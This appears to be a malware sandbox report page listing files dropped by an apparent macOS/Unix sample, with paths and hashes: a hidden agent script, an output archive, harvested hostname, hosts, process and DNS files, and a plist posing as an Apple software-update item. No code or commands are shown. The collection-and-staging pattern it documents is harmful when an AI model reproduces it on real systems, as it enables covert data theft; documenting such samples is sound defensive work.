SHA256 3e083fe301d9cb7cada99f53b1acc1f0d311420ebbc62ed1c6149a8fa3677548
MD5 20b428bb10f26eed7ebb09ea89fd1814
SHA1 54a3475974202f78b4d59990b8d712b97b4dc716
SHA512 620316d74e8bac76f2d44f761183d8c082d310323d01257db28446407200c8df599e558e75770c4a4760e4552965dfc6c97cbc4d2a81e8db2a7e6d38b32bebab
SSDEEP 96:Qviqhfw5jMNKXSrYH3O+WgJp3kOCTrC6uRlI8lCFjqC6Q/nFsu6gMMhxrCyiru:4jwO0SsXBrmC6uRlI8lCFjqC6QfFsHgP
TLSH
T17191ED08ABB83CE1A39E1159644811574AB2CBDA5D2DC07BBA5EF3584F59B384EFC342
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.cmd_agent_ps_Q4huLTcs.ps1.sh

Path /tmp/.cmd_agent_ps_Q4huLTcs.ps1.sh
Size 1KB
SHA256 ee03ff23cf91b8fdeabeb1db89bc45c8c470a0558e41a07815167608b704965c
MD5 38c7d0bdcc60777a1df6834f8039916d
SHA1 ac575a91ed349103ed389cae6749c41917d9e450
SHA512 5bea493455351a01b0acdbc8f6c6391f251ee7590344fa85440469695c9fa3d3c9c4bdccc03256182b256f5f99f673b85335d612a92d7f5a15864e3ee9da5e78
TLSH
T165314EE8F8BC582225CAA033B90C59A095230F1F85257C34F05E6CF83F0E1B921B6136
MD5 SHA1 SHA512 TLSH

Submit Download

.oao_out_ps_Q4huLTcs.ps1.tar.gz

Path /tmp/.oao_out_ps_Q4huLTcs.ps1.tar.gz
Size 2KB
SHA256 3d301492c8ba704be2a53dba750845f2b36a0552536ec136069c41857c9f747f
MD5 c4f43414a92fe55d4b83d69a1195c258
SHA1 18c22c5f71ce12acd5db6e51d9c00974ce092e13
SHA512 dfadc16c919f818541c49df70c00ba6dfadce517bb51550a73160bda8e265c2730429514d0a46b0a7025f0946a48386e5228f72ad70b2a44d1635d313f911e5d
TLSH
T19441F88F3689D36F3ED16B351D2193BB7A0B6C049A33248AE03130740F35D473699EAA
MD5 SHA1 SHA512 TLSH

Submit Download

host.txt

Path /tmp/.oao_ps_Q4huLTcs.ps1/host.txt
Size 34B
SHA256 2db92342f8c552442f84b772ae155fcb5968fc20791bcd2f85f1cebd9748e7a9
MD5 8618be8f0ea82d1c66a8b0964b25f293
SHA1 a544dd75dd2b4c87de0e423105e41d0d1bbc1d3a
SHA512 a253886c3de01685f32f41a40dd9dc5db1cc2fe65f394ebf758d8a0558ce23427b502463f4abd60a3c64d766c9289d2a781fc63155442bd8ff5b125f7c0a65ef
MD5 SHA1 SHA512

Submit Download

meta.json

Path /tmp/.oao_ps_Q4huLTcs.ps1/meta.json
Size 135B
SHA256 63aa58f2774981b305c5d6315f90a03acfbf84b9071a0b1615022e81fa2fd3ca
MD5 3eb299e3fa69ece9e71d3c5ffb892157
SHA1 d00036db84fedcffd373bf2b155225031b3e2915
SHA512 5a2b4640949163bb5a2b5a3be4a822c6d058e53e3d2557099efaff6c0a56cd57ffd40e810bb3f07fc70600440f3746e0bda0f2de7c786372e37ce71f1e40d68e
TLSH
T1AEC02B861E7D111BA601E1C206134CCC100B00110650BEDCAA79B444430D0425B41400
MD5 SHA1 SHA512 TLSH

Submit Download

sysinfo.txt

Path /tmp/.oao_ps_Q4huLTcs.ps1/sysinfo.txt
Size 102B
SHA256 df0472daf085e91a5eedf562bd7ba9697b45c4ae73c6b84c47a9aeb4a3f625f9
MD5 b5f3c72cd2f194dca1fdd66722c7aad5
SHA1 a6d296359651af6152e96ab18ede81bffe347bf8
SHA512 4eca79ce5e484393aacb75d302a4b49de6961d8692f2a1c22510d9ebcd8e562b33eecc950a0fd232b9c5b5afd1a0f56e1aa52cc98ee829f73e57988238347d42
TLSH
T169B01242F53232829C4739C2325DD6E9407304400A2C1355585E17A0030C416D552CB4
MD5 SHA1 SHA512 TLSH

Submit Download

hostname.txt

Path /tmp/.oao_ps_Q4huLTcs.ps1/system/hostname.txt
Size 29B
SHA256 7d404f10907afc34bbbe79658632fbdb6ad6f4350deb20aac3bffd07c00338f2
MD5 4ce558f34be15be449e1bb54c6a38e70
SHA1 c159683e3484fa50bcfdc1f94939cf416e10b090
SHA512 0268ad00ddadca9accc5fbd8e1a6292e895b614c41ef304ac6b358f256105d8dbc6b60556dcf0410e72b7fa0093c2b0c2d7ca782f33132953d50507c42c2a941
MD5 SHA1 SHA512

Submit Download

hosts.txt

Path /tmp/.oao_ps_Q4huLTcs.ps1/system/hosts.txt
Size 258B
SHA256 6959b9888904854dc80833447c8d1dfaa76f236da71d721c6298b81f6003379d
MD5 7af0673f7c92be96ab6f9fc0a8212c2e
SHA1 7fc014fde4d246f2f907e4987cd0740a4c0476ef
SHA512 2f30162e7411fb04f5ec6b1efd977cb92806c8ba812c2a594a62e3fba6a70902408f8dc6e2024e3b77b9b86edbe01267520531accc35fbf916974f2e02511175
TLSH
T1A1D0A79B2F03E5BB48A363C47D2E5072D907C59102540FB65E2D341B63AB6AE3975A30
MD5 SHA1 SHA512 TLSH

Submit Download

processes.txt

Path /tmp/.oao_ps_Q4huLTcs.ps1/system/processes.txt
Size 5KB
SHA256 3c201af3b69007d046dcfdee5e1497350a3302d4865cc1e0585ceba61e15687d
MD5 4b050a286aa6a1f47c2e1378d695e993
SHA1 9daa410ecf4750b7615c947bec2c6f97c1c18159
SHA512 c6fce66c0682bfc924e3f87950aa469d1973cac800325cf5db7422a31d91671ef5d8a551624117cebc05ea907f785f9f6000139775da1de2bbac098ca198393c
SSDEEP 48:yUVa/E+I+zpSPtBZRU8sGA+oAo/XkGaFX3cgSt8UZz:esTSpEjw+oZxaFX3cgM
TLSH
T133B1421C8A06966B30749E469260D5117F0E2621BDA369EF718F07DDE33B611F6EFC12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

resolv.conf

Path /tmp/.oao_ps_Q4huLTcs.ps1/system/resolv.conf
Size 19B
SHA256 d9fcf7783d7b0b51869ef66ed4febbf50f514057108278e330b1e84d8aeb33e0
MD5 58f627864a5aef0a508946e6e5881707
SHA1 6230f950b38f397e950700726ae2fec621d18794
SHA512 89124653551bc37c23261f56e398068c772b15735abd9c6799ebf8bf76296fd1c74fa7ffe80e371d73dad07c89c17846dc3f349e9e02a08611fe04a650c1b65e
MD5 SHA1 SHA512

Submit Download

com.apple.softwareupdate.plist

Path /tmp/com.apple.softwareupdate.plist
Size 567B
SHA256 bbe2631d4b8c9a4053544ea1eb96f863b9f8807e44f8d437d1da67dcfbe731c6
MD5 54c6d25d5900ac675af257db1685c8b9
SHA1 992ac8c93ebbb4b75e0ab9aab37baeb0fe6259e8
SHA512 d95b7905eea7b88b6f96043a60448e5814cd0aff0fa28b25d88d10f14074741a4c32b8ef87da86bbde14ac489ac89c84b682e2da6d45b6f7445e5578cf26532d
TLSH
T13DF02BD106F4E45A0CC41A0627A0D8194A8671DF1CF200FBB4DE68868F8B882537B5AE
MD5 SHA1 SHA512 TLSH

Submit Download

sh-thd.F80rmR

Path /tmp/sh-thd.F80rmR
Size 91B
SHA256 a6677e37571f1f6845e6b8e7e59fd747ee8293f3e0b192c95508421795e2f3cb
MD5 6ece9911dad9b72cfe0e221b0b72df97
SHA1 d7e0d9d97a50d4ce424cdef9ffad2c82e5674bd4
SHA512 65a1cdecd4307201bfb4c3bbfd73f36de5ced88bea5258c9b806a999ba4d77f465b3362a9b1235cf534670ab0c636e4cc109fcc4c9f4983a39a3b57ab3d456d8
TLSH
T127B0128B0764714A141507F5045039FC2030D51052053D2401316AA4B448D09F510D7D
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads